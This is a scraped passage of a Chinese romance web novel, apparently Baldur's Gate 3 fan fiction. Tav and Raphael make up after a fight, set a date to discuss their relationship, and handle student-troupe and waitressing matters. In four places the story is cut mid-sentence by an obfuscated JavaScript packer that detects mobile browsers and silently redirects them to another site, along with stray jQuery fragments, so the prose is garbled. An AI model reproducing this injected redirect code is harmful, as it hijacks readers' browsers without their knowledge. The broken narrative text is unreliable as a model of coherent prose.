“哈!”塔夫只觉得可笑。拉斐尔只能看到他自己,她为什么会希望能跟他说清楚,她为什么要在这种人身上浪费时间。她又冷笑一声,讥讽道,“那可还真是对.不.起.呢。” 她下定决心,这次说什么都要离开。当拉斐尔看上去想要再次拦下她时,她直接使用下午刚学会的防身术,扎扎实实迈出一步,接着一手抓住他头发向下拽,另一手去推他下巴。 拉斐尔身体纹丝不动,手半伸在空中,满脸意外地看着她。 塔夫:…… 塔夫:为什么一点用都没有!? 她和拉斐尔眼睛瞪着眼睛。几次眨眼后,她手上又一次用力,仍然没有成功,忍不住气急败坏:“你给我向后倒啊!” 拉斐尔居然又笑了,手也顺势环在她腰间:“我和你说过,技巧在绝对的实力面前没用。” 这烂人!她可真是没长眼睛!!塔夫直接被气哭了。 更准确来说,她只是不再克制眼泪,手也松开了他的头发:“你还能更混蛋一点吗?” “我在乎你的感受,塔夫。”拉斐尔手臂收得更紧,“那对我来说并不是无所谓的。我不想看到你难过。” “所以你决定做出这种一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056391|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般人绝对做不出来的事?”塔夫气得使劲推他,“我一点也不难过!你在乎不在乎也跟我一点关系都没有!你放开我!” “对不起,塔夫。”拉斐尔俯下身整个抱住她,“我很抱歉我让你难过了。虽然我不后悔做那些事,因为我不后悔认识你,我想认识你,可我很抱歉让你不开心。我真的很抱歉。” 他心跳快得可怕,裸露的脖颈沁出淡淡的、带着苦涩的香,塔夫吸了一口,忽然又好气又好笑,眼泪涌出更多,打湿在他肩膀:“你之前真是太过分了!” “嗯。你说的对。”拉斐尔点点头,一副任打任罚的态度。 塔夫指出他最开始的做法有多么无法令人理解,又是多么令人讨厌。从条理清晰,到夸大其词,最后情绪上头,又多了委屈和愤慨。 这次,拉斐尔没有非要纠正她的“事实表述不准确”,听她发泄情绪,抱着她继续道歉,又开始时不时在她头发上吻一吻,最后,唇蹭过她耳边: “真的很对不起。” 塔夫头皮一麻,想要躲开却被他牢牢困在怀里,正要说出口的下一句话变成一声喘息。 她连忙重新去推拉斐尔,但他居然贴得更近: “你愿意接受吗?我的道歉。” 酥麻在皮肤蔓延,又从脊椎一路向下,塔夫脚都有些发软,幸好仍靠在拉斐尔身上才没有跌坐在地。她声音也开始发抖:“是的。是的!我最想说的其实已经说完了,你先松……” 拉斐尔几乎咬着她的耳垂,温热呼吸一下一下拂过:“不,你还没有对我说,‘没关系,我原谅你了’。” 塔夫差点呻吟出声,整个身子颤抖,不由自主地抓在拉斐尔后背,手指扣进他的皮肤。结果指下柔韧的肌肉忽然绷紧变得坚硬,直接把她手指弹了起来。她身子酸软,手无处使力,觉得自己简直像是挂在拉斐尔身上,羞愤之下被激得又涌出一大团眼泪:“你干什么?太过分了!” 拉斐尔终于松开她,仔细看看她的手指,又小心观察她的表情。塔夫估计自己现在的样子肯定不太好看,立刻被他盯得恼羞成怒:“你又在看什么?就这么喜欢看我出丑吗?!” “你还在生气……的样子也真好看。” “你哪只眼睛看出来我没在生气……?” ??? “对不起。”拉斐尔吻吻她的指尖。 “……” 拉斐尔开始更细致地亲吻她的指尖:“刚才很疼吗?对不起。” “没、没有很疼,只是没有想到……” “我真的很抱歉。”拉斐尔忐忑不安又期待地望着她,瞳孔和睫毛都在微微颤动,整个人看上去可怜兮兮的,像只被雨打湿的大狗。 “好了。”塔夫脸有些红,垂下眼睛,“没关系了。” “那你……那我们……” “嗯……嗯……” 一切似乎都变得恬静柔和起来。 拉斐尔没再说话,慢慢松开她的手却又扶上她肩膀。塔夫重新抬眼,发现他的脸离自己似乎近了些。 并不是她的错觉,他的鼻尖正在一英寸一英寸的靠近! 塔夫一下更加难为情起来,脸颊发烫,又恼他不看气氛,她眼泪都没来得及擦呢,声音急得重新颤抖:“拉,拉,拉……” 拉斐尔停住,表情扭曲了几秒,终于还是偏过头笑出声:“噗。” 塔夫来不及想自己刚才那走调的几声,松一口气又去推他:“拉斐尔,我们还在谈、说、讲……” “请让我们休息一下。嘘。从现在开始。” 尽管她不安分推搡的手似乎并没有起到什么效果,却还是被拉斐尔重新握住。 塔夫牢牢闭着嘴,一时只能用鼻子呼吸,简直快要喘不过气,眼睛却一眨不眨,死死盯着拉斐尔英俊的五官离自己越来越近。 拉斐尔终于叹了一口气,移开视线又重新看着她的眼睛: “眼睛……请闭上眼睛……好吗?” . 49.约定 塔夫决定一定要睁大眼睛。 但眼睛自己听话地合上——或者说,眨了下——并由于睫毛上仍挂着泪,顿时沉重得无法重新抬起眼皮。 她重新闻到淡淡的龙舌兰香。 气息慢慢变得浓郁,拉斐尔的呼吸靠近,最后贴在她的眼睛上。 塔夫下意识地把眼睛闭得更紧,却仿佛能清楚看到那双柔软的唇,正温柔地吻着自己的眼睑。薄薄的唇瓣张开,舌尖小心伸出,试探着舔了下睫毛上的眼泪,接着再次用唇轻吮走湿意。 仔细吻过一边,那呼吸略微后移,又很快落在另一只眼睛上。 …… 塔夫终于睁开眼睛时,拉斐尔正抿着唇,似乎还意犹未尽地舔了舔,这让他双唇水润透亮。 看上去就很好亲。 塔夫连忙移开视线,望向一旁:“还好这个时间没有其他人。” “嗯。” “因为是小路,再加上有跟踪犯的事情,大部分人不会这么晚了还走这条路。” “嗯。” “对了,我们可以说话了是吗?” 拉斐尔笑了,在月光下看着格外英俊,格外讨人喜欢,他清下嗓子:“你已经说了三句。” 塔夫垂下眼睛,看到二人仍交握的手——虽然拉斐尔已经不再抱着她,但牵着她的手却一直没有松开。她以为他要吻自己,结果却是…… 是因为她被他气哭了,所以用这个方式再次道歉? 她重新看向拉斐尔,他又抿了抿唇,像是在回味。塔夫忍不住问:“好吃吗?”她自然地抽回手,指了指自己的眼睛。 拉斐尔居然思索起来,直到她被挑起期待才迟疑地回答: “……不是甜的。” “……?”塔夫无奈瞥他一眼,“还不是珍珠呢。” 拉斐尔微笑望着她,眼神和以往一样深邃专注,可好像又多了几分不再遮掩的情意:“但我很喜欢。” 所以,她和拉斐尔现在是什么情况? 塔夫理智回归,顿时大感一片狼藉。 刚才完全是计划之外的状况,不过在这混乱过程中,她成功拔除一个自己相当在意的危险信号,也算是收获重大。可惜方式和时间都不那么完美。 嗐,塔夫对这个想法一讪。她在追求哪门子的完美,难道要两个人始终相对而坐,客客气气地交换看法才能令人满意? 尽管如此,她还是又仔细想了想,这才斟酌着说: “关于我们刚才……” “我们现在的关系是……”拉斐尔在同一时刻开口,又和她一起沉默下来。 什么关系? 等等,拉斐尔之前奇怪的“表白”,是在回应她不小心说出的“喜欢”!! 塔夫这一回忆,却重新羞恼起来,把自己刚才想说的话一下都先放在一旁: “我们的关系? “我只能说,我们现在在某方面的感受也许是共通的,用彼此青睐来形容应该还算恰当。虽然我并没有打算这个时候说,而你回应的时候又极为勉强。”塔夫瞧拉斐尔一眼,补充道, “在.我.听.来,十分勉强。更准确来说,那听上去像是你不得不强迫自己,违背理智和意愿对我做出回应,以至于没办法维持……一种真诚的态度。” 拉斐尔脸一下子涨红,张了张嘴,但没有作声,等待她继续说下去。 “我并不是说你必须一味地恭维我赞美我,只是在那种情况下,我听到你的那番话,不觉得里面有多少真情实感,所以我没办法立刻相信你。” 拉斐尔脸色刷得变白,很快重新涨红。在低头道歉后却仍只能得到这种答复,他看上去很想转身离开,但又被什么牢牢钉在原地。 “而且很快就是期末,我不想因为这个分神,还有我们之间的契约……”塔夫终于回到自己最初的话,顿了下, “但我也不想说,让我们假装这件事没有发生。所以我们现在可以先等等吗?也许等到演出结束,我们再……” 她脸颊温度慢慢升高,说话也开始有些吞吞吐吐起来。 不过,拉斐尔立刻领会到她的意思: 尽管不太喜欢他的态度,她还是很感激他那时的回应,也非常高兴两个人把之前的矛盾彻底说开了,这让她更加期待契约结束以后会发生什么。最后,她还俏皮地说——引用自仓鼠小布——等待可不仅仅只会让美酒变得醇厚。 拉斐尔心情从低谷一下呼啸着冲到云端,甚至为自己情绪如此剧烈的变化感到惊讶和不安,好在他回复时的语气还算镇静: “听上去合情合理。” 一下秒,他便与塔夫约定重新谈起二人关系的时间:“不如就定在演出结束的那天晚上。” 塔夫略一思索,就爽快地答应了。 他可真喜欢她这一点。 “至于现在,”她终于冲他笑了下,“时间实在不早了,我得先回去,你也快回去吧。” 拉斐尔看着她犹带泪痕的笑靥,不想就这样结束:“我送你,既然我们已经走到这里。” 塔夫摇摇头:“不会有问题。我们在这里这么久,都没有人经过。” 拉斐尔还要坚持,塔夫却有些害羞又不容他反对地说,她需要更多时间冷静一下,否则,恐怕要到很晚才有办法睡着。这让他心跳再次加快,只能点点头。直到塔夫走出几步,他才反应过来,刚朝她迈出一步,塔夫已经转过头来瞧他一眼:“遵守约定?” “当然。”拉斐尔站在原地,看着塔夫背影,心里想的却已经是五周之后。 那时他得与塔夫好好谈谈,在安全方面绝不能大意。比如这条路上,他能看出来适合隐藏身形的埋伏地点,就有至少三个。她也不能总用甜言蜜语去说服他,这实在是不公平。 ……不公平? 也许是因为今晚和塔夫的聊天,他居然会冒出这个念头。 所以她才对他说“这不公平”吗? 拉斐尔敏锐地察觉接下来的想法不会那么令人愉快,而且这次没有塔夫在怀中责骂自己做消解弥补,便立刻重新凝神看着塔夫轻快的背影。 至于她的甜言蜜语,他可以和她定下什么时候可以用。只要在约定的范围之内,那便没有所谓的不公平。毕竟,“赢的代价很大,输的代价更多”。输赢的代价当然不会相同,否则,为什么人人都想要赢。 塔夫终于来到宿舍塔楼下,再次朝他回过头。 拉斐尔看不清她的五官,甚至连身影都有些模糊,却肯定她现在一定是笑着的。他忍不住弯起眼睛,举起手冲她挥了挥。 他看到她也高举手臂过头顶,朝自己挥了下,又摆了摆手。 那一定是让他别再看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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塔夫连忙重新提起之前剧团演员的离开:“是拉斐尔干的好事。我其实忍了很久,终于要求他道歉,但他不承认自己有错。”她说起来又好气又好笑。 仔细想想,其实直到最后,拉斐尔最接近的一次也只是说,他的做法产生了“不那么受欢迎的后果”。 影心却抓住其他重点:“你气哭之后,他就道歉了?” 塔夫愣了愣:“差不多吧。” 拉斐尔道歉似乎真的只是因为她感到难过,而不是因为他那件事做得不对。虽然二者相关,但总觉得哪里差了些,又或者是她太拿着放大镜观察拉斐尔的一言一行了。 “唔——”影心意味深长地哼着。 “我知道你在想什么。”塔夫瞥她一眼,“而我的回答都是,不,不是,还没有。” “哦——”影心又拖着长音, “我刚才其实只是觉得我们应该睡觉了。不过既然你还不想睡,那我们就继续聊吧。” 塔夫:“……” 塔夫:正好,那我来教你一招自卫防身术。你还可以在哈尔辛身上试试哦。 影心:别给我转移话题啊! . 50.计划 塔夫转移话题的尝试惨遭失败。 不过最后,她既没能教会影心防身小窍门,也没有告诉她自己与拉斐尔的那个约定。 倒不是她不信任影心或者想要隐瞒什么,她坦诚说了自己对拉斐尔抱有好感。影心的反应是长出一口气:“你终于意识到了!我已经听你念叨了整整一周!” 正是如此。 ——不是说影心夸张的部分,而是指时间,一周。 哪怕她从一开始就被拉斐尔吸引,但从真的放下顾虑到现在才不过一周。有意思的是,一周前的契机也是她和拉斐尔的争吵,虽然那次更像是是她单方面的攻击。 总之有很多事情她其实还无法确定,就没有提早告诉影心。更何况,影心已经睡着了。 . 虽然塔夫对拉斐尔说,她大概要花时间冷静下来才有办法睡着——她当时的确是那样想的,但和影心倾吐过心情,又听着对方规律悠长的呼吸,她也很快进入梦乡。 所以她根本没有考虑到另一边的拉斐尔,因为她说了一句可能会想他想到睡不着,结果辗转反侧到下半夜才终于入睡。 不过塔夫倒是梦到了拉斐尔。 自助餐厅的那个房间,他坐在深色长桌后,朝她递过一个雪白的瓷碗,微笑着推荐:是甜的。 塔夫快乐地接过来,低头看去,却和一只飘在糖水中的眼球大眼瞪小眼。 她很快意识到,那眼球也是她的。 她可以从碗里的角度看到自己呢! 她还可以举起碗对着拉斐尔,正大光明地看他! 拉斐尔仍冲她微笑,嘴唇亮晶晶的:很好吃。 看上去更加秀色可餐的明明是他。 塔夫与瓷碗中的眼球一起眨眨眼,接着她一仰头,把一整碗糖水喝了下去。 这可个真是个令人愉快的梦。 . 塔夫醒来后,只模糊记得自己大概是又梦见拉斐尔了,不过精力充沛,眼睛也一点都没有肿。 接下来几天,她依然睡眠质量好,复习效率高,甚至抽空把《不幸的故事》第二卷翻完了。 故事本身仍然精彩刺激,哪怕塔夫知道三位孤儿一定会化险为夷,却还是会为他们担心。就是山羊胡子反派用来监视孤儿的眼球装置,让她产生了一些奇怪而不安的熟悉感。 又因为这是一个系列,第二卷的结尾仍是孤儿们解决了眼前的小问题,但大麻烦始终悬而未决。 塔夫意犹未尽地合上书。 还好她只借了——其实更像是拉斐尔硬塞给她——两卷,否则真的上了瘾,她恐怕会想熬几个通宵一口气看完全部才肯罢休。 . 周二下午,塔夫按之前约好的那样,和菲拉在设施管理中心前见面。 这一次,她们终于拿到安全检查报告,又一起整理好全部材料,赶去学务长的办公室。 学务长明萨拉是一位卓尔女性,紫藤灰色的皮肤质地如同珍珠,一头更接近银色的浅金头发松松盘在脑后,五官精致,四肢修长,举手投足都带着自信的优雅。 她的办公室和本人一样,简单利落,大方整齐,装饰只有窗旁的一盆八爪蜘蛛仙人掌。 而除了明萨拉,办公室还有另一个魅力毫不逊于她的人,拉斐尔。 塔夫满意地瞧了拉斐尔一眼,又立刻觉得,无论是满意的心情、还是这种比较,都完全没有道理可言。 而菲拉已经开口问:“我们提前得太多了吗?” 拉斐尔站起身:“并没有。”他向明萨拉道别,又对塔夫说, “我在外面等你,们。” . 受邀请坐下时,塔夫装作不理解菲拉很有些意味的一瞄,望着明萨拉: “如果你需要休息一下,我们并不赶时间。” 菲拉也忙说:“是的,我们提早到了,希望刚才没有打扰到你,们。”她说完忍不住又瞄塔夫一眼。 塔夫无奈,只好眼神冲她示意:真是的,我收到你的意思了! “没关系。”明萨拉看上去有些疲倦,声音也比塔夫印象中更沙哑一些,“是我告诉萨扎——她是那位地精行政秘书,让你们直接进来。什么事?” 塔夫解开捆着资料的细绳,上前递给明萨拉,并努力不去看她桌上摊开的其他文件。 明萨拉念出声:“屋顶上的猫。” 塔夫介绍:“业余剧团。兴趣小组。” 明萨拉嗯一声,很快从桌上贴着“待办事项”的架子中抽出一个浅褐色的牛皮纸文件袋,快速扫了几眼,不需要塔夫和菲拉过多解释,就明白了她们的来意。 事情很顺利。 剧团这周就可以重新开始社团活动。 当初申请排练的时间和场地不变,仍在小剧院。 明萨拉又看过心理咨询师的回函,没有一一核对安全教育和社团成员的名册,似乎对这两项要求都不以为然。不过,她的视线还是名单上短暂地停留了一下。 塔夫觉得可以合理猜测,吸引她注意的那个名字是拉斐尔。 不过明萨拉并没有问什么,收好羊皮纸,又抬头看向二人: “既然你们已经来了,那就提前告诉你们这次校友日的安排。” . 校友日,或者称校友返校日,是博德安大学每年夏天都会有的庆祝活动,举办在期末考试结束之后和毕业典礼开始之前的那一周,持续三天。 这三天里,校友们受邀重回校园,相聚回忆往昔。其中毕业五年、十年、十五年以及依此类推的校友们,还会有专门的捐款活动,即第三天晚上的校友慈善舞会。 学生社团则会在前两天举办各种庆祝,令校友们感到宾至如归,产生怀旧之情,从而变得……慷慨大方。 并不是所有社团都会参与活动,尽管每一个都接受捐款。而社团得到的捐款数额,能在很大程度上说明社团的影响力,也会在一定程度上决定社团下一年的预算。 塔夫过去两年都参加过这一活动,这是她第一次作为剧团团长组织。 她很认同前两任团长的话: “演出地点和时间也许对吸引观众很重要,不过与捐款金额多少没什么关系。最有关系的,还是社团成员中有没有出现大富翁,比如赛艇队的贵族们。” 很可惜,屋顶上的猫并没有。 她们一般是通过在中场和结束时售卖剧票小册子(有点彩券性质,不强制,不过校友往往都会购买,学生观众则不一定)和包装零食(更受学生欢迎),从而获得比较稳定的收入。 所以塔夫还是希望争取到最好的时间和场地,以提高人流量。同时确保演出足够成功,从而让观众愿意拿出钱袋子。 . 这次校友日定在周五至周日三天。 塔夫询问明萨拉,是否可以申请第一天或第二天晚上,瓦罗剧院的舞台。 明萨拉确认时,菲拉诧异地小声说:“我们从没有在主剧院排练过。”又立刻补充,“戏剧社社长也会气疯了的。” “问问看总没关系。”塔夫低声回。 不算太意外,哪怕她们今年提前询问,最好的场地也早就定给戏剧社。菲拉立刻呼出一口气,不是失望,而是放松。 “那便还是小剧院。”塔夫定下第二天晚上。 “祝你们一切顺利。”明萨拉收好材料,把文件袋放到身后矮柜——那上面已经有一摞文件袋,示意她们可以离开了。 明萨拉的祝福其实更像是客套的礼貌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085616|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不过这中立态度就足以让塔夫愉快起来:很明显,剧团的小插曲没有在学务长这里留下任何不良印象。明萨拉看上去有其他真正的麻烦要解决,因此还有些愉快同她们的会面如此顺利。 在塔夫二人准备离开时,明萨拉叫住她们:“既然拉斐尔在等你们,帮我转告他一句,下次早点提这种要求。” . 重新见到拉斐尔,菲拉突然想起有一件“既紧急又重要”的事在等着她,而塔夫原本与她约好,一起聊聊剧团演出接下来的准备。 塔夫有些无奈地和她咬耳朵:“你在做什么?” 这次,是菲拉装作不理解塔夫的暗示:“明天活动中心见。” ——而且还需要贴上社团公告。 考虑到自己其实也很快就要去镇上做兼职,塔夫便暂时放菲拉离开,又瞧瞧拉斐尔,忍不住笑着问:“你今天还顺路吗?” 拉斐尔也笑了:“不顺路。我们走吧。” . 路上,塔夫向拉斐尔转述了明萨拉的话。 不等她询问,拉斐尔便告诉她:“我要求提前赛艇队的决赛时间。” “为什么?”塔夫好奇。 赛艇队决赛总是在期末之后那周举行,人人都会去看。赛后的派对更是整个校园范围,能持续到第二天早上,校警和校医整晚待命,学生餐厅也会一直开放,可以说是考试后最重要的庆祝之一。 拉斐尔简单道:“各种考虑后的决定。” “之前是什么时候?”塔夫仍然好奇,“又要提前到哪一天?” 拉斐尔说了两个日期。 塔夫听着第一个耳熟,立刻想起来:“返校日的第三天?” 但这样反而更好更热闹,毕竟比赛很吸引校友,引人激动。她确信拉斐尔他们今年仍能获胜,在校友们高涨的情绪中,他们肯定可以收到很多捐款。 至于提前后的决赛日期,居然是期末考试周的那个周六? 虽然考完试大家都很兴奋,但更多人会在周五晚上庆祝,接着好好睡个一天一夜,再肆意狂欢一把。 无论怎么看,都是之前的日期更好。 塔夫有些不解:“明萨拉同意了?” 拉斐尔笑笑:“当然。” 塔夫想到个猜测,犹豫问:“难道你是为了,剧团的排练和演出?” 拉斐尔怔了怔:“别多想。” 塔夫却更加肯定了。 拉斐尔调整决赛时间,至少有一部分原因是为了剧团。如果决赛在返校日第三天,训练定然会持续到前一天。而她之前和拉斐尔简单提过,期末结束后可以全天排练。 ——当时她说那番话,主要是为了说明少两次排练也不算什么,所以他不必太担心,每天向设施管理中心的人施压。 塔夫忍不住向拉斐尔确认自己的猜测:“是这样吗?” 拉斐尔回道:“如果我这样对明萨拉说,绝对无法获得她的同意。” 然而他并没有解释下去,刚才的声音和表情也都不带什么情绪,甚至可以称得上一种仅能维持客气的礼貌。 塔夫没想到他会是这个反应,回忆起他和明萨拉之间确实有些剑拔弩张,还有刚才要她“别多想”,估计是自己打探太多惹人不快,又或者是把他的努力看得过于简单。 而且,这个猜测也的确有点自以为是。 她不由得一讪,半是自嘲说:“虽然这不是你改时间的原因,但剧团毕竟因此受益。”说到这儿她又忍不住嘴角上扬,“所以还是要谢谢你。” 拉斐尔瞧她一眼,又很快转向面前,过了片刻开口低声说:“是的。” “嗯?” “这是原因……”拉斐尔顿了下,“之一。” . 51.直接 至于拉斐尔的其他原因。 赛艇队队员的私人请求,对手学校的几次提议——安苏理工这学期结束得比他们早整整两个星期,以及更多用来说服明萨拉的理由:管理上的弊端,活动安全隐患,捐款人的慷慨心理研究云云。 然而所有这些都是早就客观存在的,他也可以证明另一个时间更好,并轻松给出同样有说服力的原因。 ……以及当然,暗示卡尼亚家族今年的捐款数额尚未确定,而他对家族的慈善基金会有直接影响。 而真正敦促他做出决定的,是那天晚上同塔夫的约定。 夜里他躺在床上始终无法入睡,不得不起身在房间里踱步才能冲淡大脑的亢奋。 别再想她的笑容和对自己说的话了,别再回味那些……冲动之下的行为了,想想接下来要做什么。他与塔夫约定的日期是剧团正式演出结束那晚,即返校日那几天,他可以邀请她去校友舞会。 他已经知道返校日的安排,稍一对比日期,便决定提前赛艇决赛。期末考试结束后,他更想同塔夫在一起,哪怕只是一起剧团排练。 不过这不需要向明萨拉提起。 更不需要告诉塔夫。 因为他并没有期望任何回馈,和翼猫那次一样,是突如其来的念头。 ——主动提供好处而不求回报,就是在向别人高声宣布:这个人是可以被利用的软蛋或蠢货。当然,还有可能这个人是别有用心。最高明的棋手应该是摆明车马,开诚布公地博弈后各取所需。 面对塔夫的询问,他避开了直接回答。 他是在意塔夫的看法吗。他担心她会嘲弄他多此一举,根本是在自以为是。他居然会顾虑到这种程度,令他几乎鄙夷自己。接着又不禁暗自愉快起来,她这次发现了,猜到了,还……很高兴…… . 塔夫笑吟吟地瞧着拉斐尔:“哦?这么说来,你也是为了剧团。” 拉斐尔回道:“不是最重要的原因——对明萨拉而言。但我的确考虑过。” “那你刚才为什么不直接告诉我。”塔夫忍不住微笑,见拉斐尔没吭声,自问自答起来,“是怕我会有心理负担吗?” 拉斐尔怔住。 这反应和她一开始猜中原因的时候一模一样,看来她又说对了。塔夫继续道: “我现在知道了,更多的是开心!你这样温柔地考虑我的心情,我怎么会有负担,也许我更喜欢有心理负担。” 说着她也真的有些羞赧起来, “我的意思是,以后请告诉我吧,让我至少可以感激你的好意,哪怕你只是考虑了一下我,们。 “总之我得代表屋顶上的猫的大家,好好感谢你!” “你不需要代表剧团。”拉斐尔忽然停下脚步。 塔夫也站住瞧他。他刚才的声音不算轻快,现在表情也有些严肃。不过,他对道歉和感激的回应似乎总能让她有些意外。 “虽然空出时间也是为了剧团演出,”拉斐尔顿了下, “但我当时想的,只是和你一起排练。我是想要多和你在一起,只有你。” 塔夫脸一下涨得通红,脑袋也有点晕晕的,盯着拉斐尔一时说不出话。 拉斐尔似乎也意识到自己刚才冲动之下说了什么,慢慢别开视线。塔夫这才小声说:“谢谢。” 见他立刻重新看向自己,她又忍不住笑起来,“我也是!”她也想多和他在一起。 她觉得心里的快乐简直要满溢出来,第二句提高了不少音量。这让拉斐尔也跟着耳尖发烫,再次别过脸低声道:“我知道了。” 于是塔夫冲他更大声地笑着说:“我也是!!” 拉斐尔又好气又好笑地扭过头:“我听得见!” 他想要时间快点到五周后。那时他可以只是因为心情激动,只是因为他想要这么做,便能够直接拥抱住塔夫而不会显得唐突或鲁莽。 真是可怕的冲动。拉斐尔双手紧紧贴放在大腿两侧,见塔夫始终笑眯眯地望着自己,冲她挑了下眉毛:“还去镇上吗?或者,你想再喊一遍?” “不用啦,我们走吧。嘿嘿。我也是!!!” “!?” . 塔夫邀请拉斐尔在餐厅吃晚饭,可惜被他不算太委婉地回绝了。 这件事本身没什么。只不过当她拍着胸脯大方地表示自己请客随便吃时,拉斐尔居然一脸古怪地望着她:“你仍是在向我表达感激吗?没必要如此,我并没有任何这方面的期待。” 这家伙。 . “任选其二,有奶油烩菠菜、蜜烤胡萝卜、蒜香奶酪粗切薯条,加两个金币还可以升级成松露薯条……” 塔夫一边向顾客介绍某套餐提供的免费可选配菜,一边想着威尔之前的评价。 拉斐尔的善意从来都不是免费的。 她开始理解那是对别人。现在看来,对他自己也是如此。 ——他似乎既不愿意表达好意,也不习惯接受好意。也许他自己都没注意到,那句问题带着不由自主的探究和防备。 这性格可真是够别扭的。如果不是他才刚表露一番心意,她可能都会有些灰心呢。 不过,当他突然坦诚起来的时候,还真是令她有些招架不住。她甚至后悔自己提出的这个五周之约,恨不得那时就……哎,那让拉斐尔大方表达和接受好意这方面,她还是先缓缓再说好了。 “再说一遍刚才的那个配菜,让你一下变得满脸通红的那个。”矮人婆婆从眼镜后看着她,很不给面子地直接点了出来。 塔夫清下嗓子,强作平静道:“莳萝醋腌小黄瓜。” “就要这个了。” “这个不是热菜,可以吗?” “唔?先别定,你再继续介绍看看。” “……” . 不知道是不是心理原因,塔夫发现这晚的顾客都格外难缠。 倒没有无理或故意找茬,但是好多桌都相当耗费精力。从点菜开始便是如此,后来也频频需要她加点什么或解释什么,而且吃得不紧不慢。九点过半,餐厅仍有五六桌客人,其中一桌地精刚吃完前菜。 ——幸运的是,他们点得都挺贵,希望小费也能同样慷慨。 当塔夫听到门前的风铃响起时,少有地感到烦闷,继续耐着性子向一位精灵解释为什么“侏儒奶奶的烤肉卷”里会有红色液体: “是的,已经和厨房确认过为你做的全熟。这不是血水,是特制的番茄调味肉汁。” “塔夫。”弗兰喊她。 塔夫轻轻呼一口气,重新摆上微笑。当她看到那人是拉斐尔,笑容一下变得真诚起来: “你来啦?” “嗯。”拉斐尔想把笑容压在嘴角,不过没有成功。 “你想要喝点什么吗?”塔夫又冲弗兰眨了下眼睛,“算在我账上!” “那我给你打员工折。” “弗兰你最好了!” 拉斐尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093747|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似乎想说什么,吧台后的酒保诺亚却先嗤笑一声,带着毫不掩饰的嘲弄。 那是位俊美的男人,一双灰蓝色的眼睛看上去很是多情,飘逸的沙红色头发垂到肩膀,穿着纯黑丝绸衬衫,打着一条挺花哨的蓝色丝绸领带——颜色和他的眸色很相称,又别着一枚看上去很昂贵的金制领带夹。 拉斐尔眯了眯眼睛,塔夫则直接翻了个白眼,从弗兰那抽出一份酒水单,来到拉斐尔身前凑近轻声说:“我们别理他,跟我来。” 她话里的亲疏远近让拉斐尔轻微的不快立刻消失。而他刚落座,正准备也对塔夫说几句慰谕,一桌地精就冲她招招手:“现在开始,酒水都免费或者可以算在你账上吗?” 塔夫忍了忍:“不是的。因为他是我的……朋友。” “呿!”地精比起遗憾更像是不满的样子。 “……” 塔夫转身要对拉斐尔说什么,远处又有一桌招招手。她只得匆匆放下酒水单,飞快对拉斐尔说了句:“随便点!” 虽然餐厅食物中规中矩,老板倒是有一些很不错的藏酒。塔夫暗自想着,哪怕拉斐尔作为贵族很挑剔,大概也不会失望。就是诺亚刚才态度惹人生厌,但他应该有起码的职业道德,不会对客人点的东西动手。 不过令她没想到的是,拉斐尔只点了一杯缬草和洋甘菊的茶饮。 ——非常老年人,咳,非常健康的选择。 塔夫心痒痒,忍不住推荐起来,直接从最贵最好的开始,一口气说了六七种酒,拉斐尔终于笑着让她喘口气:“直到决赛,我会尽可能不碰酒精。” “教练的要求?” “我自己的。” “我们这里的茶都是茶包,没问题吗?” “可以。” 最后,塔夫拿着一杯热水和两个茶包重新回到拉斐尔身旁。 她甚至没用餐盘,感觉不像是餐厅,倒像在家里。塔夫想这样对拉斐尔打趣,又觉得太过亲昵。从另一个角度来看,今晚餐厅的确很像家,顾客都是婴儿,无时无刻需要她的注意。 她有些歉意,拉斐尔拿出一本书冲她笑笑。塔夫莫名觉得他还会摸出一副金边阅读眼镜,不过他没有,温言要她不用再为自己分神。 ——但塔夫还是替这位老,咳,成年人加了两次热水。 . 还剩最后一桌客人时,拉斐尔告诉塔夫他先去外面。 塔夫同其他人一起结束打扫,正数着小费,听到一位同事语气有些古怪地对她说: “那人居然也不帮把手,只是来享受你的服务?” 还是酒保诺亚。 塔夫把钱点完,因为最后那桌地精只给了最低一档的小费心里有些气,忍不住狠狠剜了他一眼。 可惜他正和另一个人取笑着说发生了什么,并没有看见她的眼神。 诺亚曾向塔夫轻浮地表达过好感,她相当直接地回绝了,当时还闹得有些尴尬。好在两人的班次在调整后没有重叠(感谢弗兰的照顾),但他今天似乎是替另一位调酒师。 